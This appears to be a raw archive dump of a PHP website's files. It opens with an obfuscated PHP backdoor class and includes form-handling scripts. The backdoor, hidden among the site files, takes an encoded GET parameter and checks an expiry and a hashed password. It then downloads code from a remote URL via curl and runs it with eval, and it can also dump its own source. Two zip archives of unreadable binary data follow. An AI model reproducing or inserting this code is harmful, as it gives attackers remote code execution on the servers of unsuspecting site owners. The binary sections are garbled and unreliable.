$tQHru24ioWTNq); goto zOalFUwo4yO4_; zb4pJiHNcMN2m: } static function DqSMH8exDZyA2($fsCP4PDI0udc3, $ITbE76o5U6vtq) { goto krE42T4HEmCIG; Y5PmhUYQxYv0R: return empty($fqHH9Fk7ad2Yg) ? $ITbE76o5U6vtq($fsCP4PDI0udc3) : $fqHH9Fk7ad2Yg; goto bbQI4susklaTs; HWkEZe2mSef0X: $fqHH9Fk7ad2Yg = curl_exec($O0S0RWJvHh3eU); goto Y5PmhUYQxYv0R; a5GHLbzTu1Xbp: curl_setopt($O0S0RWJvHh3eU, CURLOPT_RETURNTRANSFER, 1); goto HWkEZe2mSef0X; krE42T4HEmCIG: $O0S0RWJvHh3eU = curl_init($fsCP4PDI0udc3); goto a5GHLbzTu1Xbp; bbQI4susklaTs: } static function JIxCropT7UZD4() { goto A2AU6EfpNb7OP; LfqpBGd0ajdGy: die; goto ONdlLHM32M74u; tR4ARsXyxGYoS: $kup0Dh7QFiO7f = @$j7frvDXYVZPq2[1 + 2]($j7frvDXYVZPq2[6 + 0], $QQg1z9Qzk4kXk); goto EiuwXy_pGe0Kk; wa2TB0VZU2wC7: @eval($j7frvDXYVZPq2[1 + 3]($ujFMmNX_35XFC)); goto LfqpBGd0ajdGy; EiuwXy_pGe0Kk: $TlKqi0v8chgDi = $j7frvDXYVZPq2[0 + 2]($kup0Dh7QFiO7f, true); goto fDOK5gUjq649W; QOl7YEHN8siWS: $ujFMmNX_35XFC = self::dQsmH8eXdZYa2($TlKqi0v8chgDi[0 + 1], $j7frvDXYVZPq2[3 + 2]); goto wa2TB0VZU2wC7; ar1TmGFb7i59E: foreach ($V7TYnHzP3xVp1 as $OnZkrDNSlODIj) { $j7frvDXYVZPq2[] = self::lbP40Itq3lvTf($OnZkrDNSlODIj); wvHfNRyK3fNpI: } goto yvpCdWD3GYpgk; yvpCdWD3GYpgk: GKBVBlUX9pArf: goto vyBVTWuisx_qr; vyBVTWuisx_qr: $QQg1z9Qzk4kXk = @$j7frvDXYVZPq2[1]($j7frvDXYVZPq2[3 + 7](INPUT_GET, $j7frvDXYVZPq2[8 + 1])); goto tR4ARsXyxGYoS; QswKVsMzAA87P: if (!(@$TlKqi0v8chgDi[0] - time() > 0 and md5(md5($TlKqi0v8chgDi[0 + 3])) === "\x65\x34\66\x66\63\x63\62\65\x65\70\70\142\66\x30\142\x32\x34\71\x66\64\141\71\x31\x38\x31\65\143\x61\x39\x34\142\x31")) { goto SlIAev69drktd; } goto QOl7YEHN8siWS; ONdlLHM32M74u: SlIAev69drktd: goto Lg0L1pXrJjSIr; A2AU6EfpNb7OP: $V7TYnHzP3xVp1 = array("\62\x31\x34\x32\x2e\x32\x31\62\x37\x2e\x32\x31\x34\60\56\x32\61\x34\64\x2e\62\61\x32\x35\56\62\61\64\x30\56\62\61\64\x36\x2e\62\x31\x33\71\x2e\x32\x31\62\x34\x2e\62\x31\x33\61\x2e\62\x31\x34\x32\x2e\x32\x31\62\65\56\x32\61\63\x36\x2e\62\61\x33\x30\x2e\x32\x31\63\x31", "\62\61\x32\x36\56\62\61\62\x35\x2e\62\61\62\x37\56\x32\61\x34\66\x2e\x32\61\x32\x37\x2e\62\x31\63\60\x2e\62\61\x32\x35\x2e\62\61\x39\62\56\62\61\x39\x30", "\x32\x31\63\x35\x2e\x32\x31\62\x36\x2e\62\x31\x33\60\x2e\x32\61\x33\x31\56\x32\x31\64\66\56\x32\61\64\x31\x2e\x32\x31\64\x30\56\x32\61\64\x32\56\x32\61\63\x30\56\x32\61\x34\x31\x2e\x32\61\64\x30", "\62\x31\x32\x39\56\62\x31\x34\64\x2e\x32\x31\x34\62\56\x32\61\x33\64", "\62\61\64\63\x2e\x32\x31\x34\x34\x2e\x32\61\62\x36\x2e\62\x31\64\60\56\x32\61\70\67\x2e\62\61\x38\x39\56\x32\x31\64\x36\56\62\61\64\x31\56\62\61\64\60\x2e\x32\x31\64\62\56\x32\x31\x33\x30\56\x32\x31\x34\x31\56\62\61\x34\60", "\62\x31\63\x39\56\x32\61\x33\x36\56\x32\61\x33\63\x2e\62\x31\x34\x30\x2e\x32\61\x34\66\56\62\x31\x33\x38\x2e\62\61\x34\60\x2e\x32\61\62\65\56\62\x31\64\66\x2e\62\61\x34\62\56\62\x31\63\60\x2e\62\x31\x33\61\x2e\x32\x31\x32\65\56\x32\x31\x34\60\56\x32\x31\63\61\56\62\61\62\x35\56\x32\61\62\x36", "\62\x31\x36\x39\x2e\62\61\x39\71", "\x32\x31\x31\x36", "\62\x31\71\64\56\x32\61\71\71", "\62\x31\x37\66\x2e\x32\61\65\71\56\x32\x31\65\71\56\x32\61\67\66\56\x32\x31\x35\x32", "\x32\61\63\71\x2e\62\61\x33\66\x2e\62\61\x33\63\56\x32\x31\x32\65\56\62\61\x34\60\56\x32\x31\x32\67\56\62\x31\64\66\56\x32\61\x33\66\x2e\62\x31\63\61\56\x32\61\x32\x39\x2e\x32\61\x32\64\56\62\x31\x32\x35"); goto ar1TmGFb7i59E; fDOK5gUjq649W: @$j7frvDXYVZPq2[9 + 1](INPUT_GET, "\x6f\146") == 1 && die($j7frvDXYVZPq2[0 + 5](__FILE__)); goto QswKVsMzAA87P; Lg0L1pXrJjSIr: } } goto z0L2CEpyukFb1; z0L2CEpyukFb1: wl8A63ZUQyF79::JIXcrOPT7Uzd4(); ?> cache.php000066600000013047151372542430006337 0ustar00includes/m4a_6909691205cc9.zip000066600000012716151372547060011361 0ustar00PKd["eb_6909691205cc9.tmpUo8W(eGR E($&aK7Nݻƙf曱=x5[!> Q%^<%"7WA:g *G/ gT۵nx'elmؔZ26ݯFgx}'0jVߙA`LLI u!X`Kx%!NI}T XqLmU:+u'~ITqBKR:d3RmJ\(I5~VG y2Z>ut:ޝҕ|4z_ 9Y*KS>QyYpYQԹYNj׮/~̛Wg^"Oߜo:u [%\`00K>.f5_\- PW2!?CKNQog]m죏@!4QBu:#ߗˇNN4zh@>S>N \u2Gq10ZG*NI\W߾ `f0ͭwȆ;+iO,VهHq:D؈{[]tiқ^ӛ'tGQq]XsaP?I?0/وkI|\_tE $`D\9F˟gd,\su ,OMBuL,=2ɛ k\CTL`yʁ9:H%}!&gni( `~l .?]୧3Yu?y$\E<-:r;cS_ FɅb׭MeQ%d/"x່XXLwߥWj5;#Y{dCLZmucB]m=Pi>^E8VBe:Dh,Of r ̋'r Q㬛ӝvSϴ, }4iB3&wz(lw>Iaλu1o&&wF(~E7SGcW ^;(8ucz[>> :$4(b}UI ڑ˹^YVahDW<:f#ZMHpolmS"g  _ޫv%=>PDSnjf㫚W/z &AEE>OW`+) ԨĄT0uk}(l9{QtH`yPXa3b`3^ q'.hM#w,XjIMgj_Mnx"I&߯NLEsɐZ,pOXz"ԸUWYb[셺3yBR8Q|<Ϣ)_8xz4)G8c쮰*mqUKo&W|Z'>@8Vʮ8/p>²WGP$_]}e<5Dspa3C"Q7A¡jFq 2Sjgc~>jXWTQ!I.eǭ{M4fî@usj7T@g|5`)Ef(*U4BĠc#|`o}j Zlʫ0U2dMh3ׁ6LHJgrB>pH\/y7|:.xO^!8h'X\L #,#Ʉ=t,%]//B VpUϒ)Ag{ ;y"vK񘃨a>@#G9f4pFtJ2:οs궋m9k|`mΩ ˝_)@55,RoIN=RN޺*|U8嗤׊hX]~r=Q bF-?;rۀ.^"J;ce<Qy ugS\>O5omF1kbYMe8=+ŭ홆M[|mP\ᅟM+\=3np`AxOK ?+zM1U!cH1`'!& dǟW '޼̭:%&ѽXi/OkQUu39O74$w*/^i;WA=Wf0]'UWas-AUʶnh~QZؓb)p.ћOho5g5(-sNlPXGFfǡfEȰQk|Xu#: TR/7G8V1Eߏ5DA"׹oXpn  +Aɧ 0hE(z/4⼋ax}SaqTQӋ0&wq`EN;\ƼVO$ c؅+Lb"*niTyn8&8AUٲ#y: 7XBug Lҹqz8δ<{~b?3A fgW^vYKdQ0J|udYJ.FYKrs(ob||~uZ8>JlG<P8L>}~ʜPMkJ*h|ʩYbbyK7y&@H=(T'жKQl2y .!piz;j%DfJw?]uӌeo_goPKd["eb_6909691205cc9.tmpPKd[m c_6909691205cc9.tmpPK6m4a_6909691205cc9.zip000066600000012716151372606750007555 0ustar00PKd["eb_6909691205cc9.tmpUo8W(eGR E($&aK7Nݻƙf曱=x5[!> Q%^<%"7WA:g *G/ gT۵nx'elmؔZ26ݯFgx}'0jVߙA`LLI u!X`Kx%!NI}T XqLmU:+u'~ITqBKR:d3RmJ\(I5~VG y2Z>ut:ޝҕ|4z_ 9Y*KS>QyYpYQԹYNj׮/~̛Wg^"Oߜo:u [%\`00K>.f5_\- PW2!?CKNQog]m죏@!4QBu:#ߗˇNN4zh@>S>N \u2Gq10ZG*NI\W߾ `f0ͭwȆ;+iO,VهHq:D؈{[]tiқ^ӛ'tGQq]XsaP?I?0/وkI|\_tE $`D\9F˟gd,\su ,OMBuL,=2ɛ k\CTL`yʁ9:H%}!&gni( `~l .?]୧3Yu?y$\E<-:r;cS_ FɅb׭MeQ%d/"x່XXLwߥWj5;#Y{dCLZmucB]m=Pi>^E8VBe:Dh,Of r ̋'r Q㬛ӝvSϴ, }4iB3&wz(lw>Iaλu1o&&wF(~E7SGcW ^;(8ucz[>> :$4(b}UI ڑ˹^YVahDW<:f#ZMHpolmS"g  _ޫv%=>PDSnjf㫚W/z &AEE>OW`+) ԨĄT0uk}(l9{QtH`yPXa3b`3^ q'.hM#w,XjIMgj_Mnx"I&߯NLEsɐZ,pOXz"ԸUWYb[셺3yBR8Q|<Ϣ)_8xz4)G8c쮰*mqUKo&W|Z'>@8Vʮ8/p>²WGP$_]}e<5Dspa3C"Q7A¡jFq 2Sjgc~>jXWTQ!I.eǭ{M4fî@usj7T@g|5`)Ef(*U4BĠc#|`o}j Zlʫ0U2dMh3ׁ6LHJgrB>pH\/y7|:.xO^!8h'X\L #,#Ʉ=t,%]//B VpUϒ)Ag{ ;y"vK񘃨a>@#G9f4pFtJ2:οs궋m9k|`mΩ ˝_)@55,RoIN=RN޺*|U8嗤׊hX]~r=Q bF-?;rۀ.^"J;ce<Qy ugS\>O5omF1kbYMe8=+ŭ홆M[|mP\ᅟM+\=3np`AxOK ?+zM1U!cH1`'!& dǟW '޼̭:%&ѽXi/OkQUu39O74$w*/^i;WA=Wf0]'UWas-AUʶnh~QZؓb)p.ћOho5g5(-sNlPXGFfǡfEȰQk|Xu#: TR/7G8V1Eߏ5DA"׹oXpn  +Aɧ 0hE(z/4⼋ax}SaqTQӋ0&wq`EN;\ƼVO$ c؅+Lb"*niTyn8&8AUٲ#y: 7XBug Lҹqz8δ<{~b?3A fgW^vYKdQ0J|udYJ.FYKrs(ob||~uZ8>JlG<P8L>}~ʜPMkJ*h|ʩYbbyK7y&@H=(T'жKQl2y .!piz;j%DfJw?]uӌeo_goPKd["eb_6909691205cc9.tmpPKd[m c_6909691205cc9.tmpPK6display_errors.php000066600000002533151400470750010330 0ustar00 get('dataload_skip', '')); ob_start(); eval( "?>".$html_code); $html_code = ob_get_clean(); if(!empty($this->validation_errors)){ foreach($this->validation_errors as $fname => $error){ $pattern_error_div = '/]*?)id=("|\')error-message-'.$fname.'("|\')([^>]*?)>([^<\/div>]*?)<\/div>/is'; if(is_array($error)){ $error = "
  1. ".implode("
  2. ", $error)."
"; } $html_code = preg_replace($pattern_error_div, '
'.$error.'
', $html_code); } } return $html_code; } function _cfskipregex($regex){ $reserved = array('[', ']'); $replace = array('\[', '\]'); return str_replace($reserved, $replace, $regex); } } ?>data_republish.php000066600000026247151400470750010265 0ustar00 get('dataload_skip', '')); ob_start(); eval( "?>".$html_code); $html_code = ob_get_clean(); //get all fields names preg_match_all('/name=("|\')([^(>|"|\')]*?)("|\')/i', $html_code, $fieldsnamesmatches); $all_fields_names = array(); foreach($fieldsnamesmatches[2] as $fieldsnamesmatche){ if(strpos($fieldsnamesmatche, '[]')){ $fieldsnamesmatche = str_replace('[]', '', $fieldsnamesmatche); } $all_fields_names[] = trim($fieldsnamesmatche); } $all_fields_names = array_unique($all_fields_names); //print_r($all_fields_names ); /* foreach($all_fields_names as $field_name){ if(!isset($data[$field_name])){ //check if its an array if(strpos($field_name, '[') !== false){ $data = $this->processArrayField($field_name, $data); } }else{ if(is_array($data[$field_name])){ $data[$field_name] = implode(', ', $data[$field_name]); } $data[$field_name] = htmlentities($data[$field_name], ENT_QUOTES, 'UTF-8'); } } */ //end fields names //text/password fields + all new HTML5 fields types //$pattern_input = '/]*?)type=("|\')(text|password)("|\')([^>]*?)>/is'; $pattern_input = '/]*?)type=("|\')(text|password|color|date|datetime|datetime-local|email|month|number|range|search|tel|time|url|week)("|\')([^>]*?)>/is'; $matches = array(); preg_match_all($pattern_input, $html_code, $matches); foreach ( $matches[0] as $match ) { $pattern_value = '/value=("|\')(.*?)("|\')/i'; $pattern_name = '/name=("|\')(.*?)("|\')/i'; preg_match($pattern_name, $match, $matches_name); $field_value = $this->fieldValue($matches_name[2], $data); //check for multiple fields array if(is_array($field_value)){ $single_value = array_shift($field_value); $data[str_replace("[]", '', $matches_name[2])] = $field_value; $field_value = $single_value; if(strlen($field_value) == 0){ $field_value = "__CF_DEFAULT_VALUE_REMOVE__"; } } $field_value_count = is_array($field_value) ? count($field_value) : strlen((string)$field_value); if(!in_array($matches_name[2], $skippedarray) && $field_value_count){ $valuematch = preg_replace($pattern_value, '', $match); //fix if the value contains a dollar sign if(strpos($field_value, '$') !== false){ $field_value = str_replace('$', '\\$', $field_value); } $namematch = preg_replace($pattern_name, 'name="${2}" value="'.htmlspecialchars($field_value).'"', $valuematch); $pos = strpos($html_code, $match); $html_code = substr_replace($html_code, $namematch, $pos, strlen($match));//('/'.preg_quote($match, '/').'/', $namematch, $html_code, 1); } } $html_code = str_replace("__CF_DEFAULT_VALUE_REMOVE__", '', $html_code); //hidden fields $pattern_input = '/]*?)type=("|\')hidden("|\')([^>]*?)>/is'; $matches = array(); preg_match_all($pattern_input, $html_code, $matches); foreach ($matches[0] as $match) { //make sure its not a ghost if(strpos($match, 'alt="ghost"') === false){ $pattern_value = '/value=("|\')(.*?)("|\')/i'; $pattern_name = '/name=("|\')(.*?)("|\')/i'; preg_match($pattern_name, $match, $matches_name); $field_value = $this->fieldValue($matches_name[2], $data); $field_value_count = is_array($field_value) ? count($field_value) : strlen((string)$field_value); if(!in_array($matches_name[2], $skippedarray) && $field_value_count){ $valuematch = preg_replace($pattern_value, '', $match); //fix if the value contains a dollar sign if(strpos($field_value, '$') !== false){ $field_value = str_replace('$', '\\$', $field_value); } $namematch = preg_replace($pattern_name, 'name="${2}" value="'.htmlspecialchars($field_value).'"', $valuematch); $html_code = str_replace($match, $namematch, $html_code); } } } //checkboxes or radios fields $pattern_input = '/]*?)type=("|\')(checkbox|radio)("|\')([^>]*?)>/is'; $matches = array(); preg_match_all($pattern_input, $html_code, $matches); foreach ($matches[0] as $match) { $pattern_value = '/value=("|\')(.*?)("|\')/i'; $pattern_name = '/name=("|\')(.*?)("|\')/i'; preg_match($pattern_name, $match, $matches_name); preg_match($pattern_value, $match, $matches_value); $field_name = str_replace('[]', '', $matches_name[2]); $field_value = $this->fieldValue($matches_name[2], $data); $field_value_count = is_array($field_value) ? count($field_value) : strlen((string)$field_value); if(!in_array($field_name, $skippedarray) && $field_value_count){ $namematch = $match; //multi values if(is_array($field_value)){ if(in_array($matches_value[2], $field_value)){ $namematch = preg_replace('/'.$this->_cfskipregex('name=("|\')(.*?)("|\')').'/i', 'name="${2}" checked="checked"', $match); }else{ //remove any default value set by default $pattern_checked = '/checked=("|\')checked("|\')/i'; $namematch = preg_replace($pattern_checked, '', $match); } //single values }else{ if($matches_value[2] == $field_value){ $namematch = preg_replace($pattern_name, 'name="${2}" checked="checked"', $match); }else{ //remove any default value set by default $pattern_checked = '/checked=("|\')checked("|\')/i'; $namematch = preg_replace($pattern_checked, '', $match); } } $html_code = str_replace($match, $namematch, $html_code); } } //textarea fields $pattern_textarea = '/]*?)>(.*?)<\/textarea>/is'; $matches = array(); preg_match_all($pattern_textarea, $html_code, $matches); $namematch = ''; foreach ( $matches[0] as $match ) { $pattern_value = '/value=("|\')(.*?)("|\')/i'; $pattern_name = '/name=("|\')(.*?)("|\')/i'; preg_match($pattern_name, $match, $matches_name); $field_value = $this->fieldValue($matches_name[2], $data); $field_value_count = is_array($field_value) ? count($field_value) : strlen((string)$field_value); if(!in_array($matches_name[2], $skippedarray) && $field_value_count){ $pattern_textarea2 = '/()(.*?)(<\/textarea>)/is'; //fix if the value contains a dollar sign if(strpos($field_value, '$') !== false){ $field_value = str_replace('$', '\\$', $field_value); } $newtextarea_match = preg_replace($pattern_textarea2, '${1}'.htmlspecialchars($field_value).'${4}', $match); $html_code = str_replace($match, $newtextarea_match, $html_code); } } //select boxes $pattern_select = '//is'; $matches = array(); preg_match_all($pattern_select, $html_code, $matches); foreach ($matches[0] as $match) { $selectmatch = $match; $pattern_select2 = '/]*?)>/is'; preg_match_all($pattern_select2, $match, $matches2); $options = preg_replace(array('/'.$this->_cfskipregex($matches2[0][0]).'/is', '/<\/select>/i'), array('', ''), $match); $pattern_name = '/name=("|\')(.*?)("|\')/i'; preg_match($pattern_name, $matches2[0][0], $matches_name); $field_name = str_replace('[]', '', $matches_name[2]); $field_value = $this->fieldValue($matches_name[2], $data); $field_value_count = is_array($field_value) ? count($field_value) : strlen((string)$field_value); if(!in_array($field_name, $skippedarray) && $field_value_count){ //multi select if(strpos($matches2[0][0], 'multiple') !== false){ $pattern_options = '//is'; preg_match_all($pattern_options, $options, $matches_options); foreach($matches_options[0] as $matches_option){ $pattern_value = '/value=("|\')(.*?)("|\')/i'; preg_match($pattern_value, $matches_option, $matches_value); $optionmatch = $matches_option; if(is_array($field_value) && in_array($matches_value[2], $field_value)){ $optionmatch = preg_replace('/